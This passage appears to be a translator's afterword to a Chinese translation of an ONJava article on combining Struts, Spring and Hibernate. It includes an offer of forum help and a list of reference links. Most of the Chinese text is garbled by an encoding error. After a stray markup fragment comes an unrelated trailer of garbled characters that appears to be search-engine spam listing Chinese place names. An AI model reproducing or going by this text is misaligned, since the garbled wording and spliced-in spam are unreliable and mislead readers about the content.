˜q™ç¯‡æ–‡ç« é‡Œåƈ没有太多的技术细节,和详¾l†çš„æ­¥éª¤ã€‚如果你从未使用˜q‡è¿™äº›æ¡†æž¶è€Œåœ¨˜qè¡Œå®žä¾‹½E‹åºé‡ä¸Šå›°éš¾çš„话åQŒå¯ä»¥åˆ°CSDN论坛Java Open Source版发è´ß_¼Œæˆ‘一定会详细解答的(啊哦åQŒè¿™ä¸ç®—做广告吧åQŸï¼‰åQ?

文章是从一个构架的角度讲述了如何搭配现有的开源框架进行分层, 有太多的术语我都不知道怎么表达åQŒè€Œä¸”可能有很多语句存在错误。如果媄响了你的阅读åQŒè¯·ä½ ç›´æŽ¥ç‚¹åŽŸæ–‡åœ°å€åQŒæˆ‘同时也象你说声抱歉ã€?



作者简介:Mark Eagle 高çñ”软äšg工程师,亚特兰大ã€?
¾˜?译:Totodo,软äšg工程å¸?





参考:

StrutsåQšhttp://jakarta.apache.org/struts/index.html

Spring: http://www.springframework.org

Hibernate: http://www.hibernate.org

http://www.hibernate.org.cn

关于控制反è{IOC和依赖注ž®„:http://www.martinfowler.com/articles/injection.html

原文:

http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=1
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=2
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=3
http://www.onjava.com/pub/a/onjava/2004/04/07/wiringwebapps.html?page=4

]]>
Ö÷Õ¾Ö©Öë³ØÄ£°å£º ¶ÑÁúµÂÇìÏØ| ÓÜÖÐÏØ| ¼¨ÏªÏØ| ×ñÒåÏØ| ÙðÖÝÊÐ| ÎåÌ¨ÏØ| »´±õÏØ| ÌÁ¹ÁÇø| ·î»¯ÊÐ| ²©°®ÏØ| Î¼Ô´ÏØ| ÒÀÀ¼ÏØ| ÕýÑôÏØ| ÖζàÏØ| Èý½­| ÓãÌ¨ÏØ| ÁúÑÒÊÐ| ÓíÖÝÊÐ| ӥ̶ÊÐ| ¶«°²ÏØ| ³¤º£ÏØ| ±¦ÛæÇø| ÐËÒåÊÐ| Æô¶«ÊÐ| ¼ªÄ¾Èø¶ûÏØ| ãþÑôÏØ| Î¢É½ÏØ| Å̽õÊÐ| ÕòÔ¶ÏØ| а²ÏØ| ÎÞ¼«ÏØ| Èð²ýÊÐ| ±£É½ÊÐ| Ì«²ÖÊÐ| ºÏ½­ÏØ| ´óÀíÊÐ| Óý¶ù| ¹ãÆ½ÏØ| ̫ԭÊÐ| ÂåÑôÊÐ| ½ÒÑôÊÐ|